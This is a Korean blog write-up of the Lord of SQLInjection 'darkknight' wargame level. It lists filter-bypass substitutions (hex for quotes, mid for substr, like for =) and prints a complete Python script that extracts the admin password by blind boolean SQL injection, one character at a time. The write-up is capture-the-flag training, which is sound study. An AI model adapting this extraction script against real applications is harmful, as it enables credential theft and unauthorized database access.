본문 바로가기

보안공부/Lord of SQLInjection 풀이

Lord of SQLInjection Darkknight 풀이

이번에는 대놓고 no를 통해 침투해달라고 코드에 나와있다.

 

이번에는 다음과 같이 치환하였다.

필터링되는 단어 치환 
작은 따옴표(') 0x로 시작하는 Hex값
substr mid
ascii 사용 안함
= like

 

위 치환 테이블을 코드에 적용하였다.

더보기
import requests
import binascii
URL = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
Sess = {'PHPSESSID': '9i2l22igeud2lesoff2tvo7q91'}
ConfirmKey = "Hello admin"
Dict = '0123456789qwertyuiopasdfghjklzxcvbnm'
length = 0
password = ""
def sendReq(payload):
    return requests.get(URL, cookies=Sess, params=payload)
print("[*] Started")
print("[*] Calculating length of password")
while True:
    if ConfirmKey in sendReq({"no": "2 || id like 0x61646d696e && length(pw) like " + str(length)}).text:
        print("[+] Found length : " + str(length))
        break
    else:
        print("[!] Tried : " + str(length))
        length+=1
print("[*] Looking for password")
while True:
    for Current in Dict:
        if ConfirmKey in sendReq({'no': "2 || id like 0x61646d696e && mid(pw," + str(len(password) + 1) + ",1) like \"" + str(Current) + "\""}).text:
            password+= Current
            print("[+] Found password of state " + str(len(password)) + " : " + str(Current))
            print("[" + str(len(password)) + "/" + str(length) + "] Current State : " + password)
            if len(password) == length:
                break
        else:
            print("[!] Tried : " + str(Current))
    if len(password) == length:
        break
    else:
        print("[>] One loop done [" + str(len(password)) + " , " + password + "]")
print("[*] Job Done!")

 

그리고 비밀번호가 나왔다.

 

이 비밀번호를 pw값으로 넘겨주니 문제가 풀렸다.

 

p.s. mid함수를 잘 몰라서 배우는데 애좀 먹은것 같다 ㅠㅠ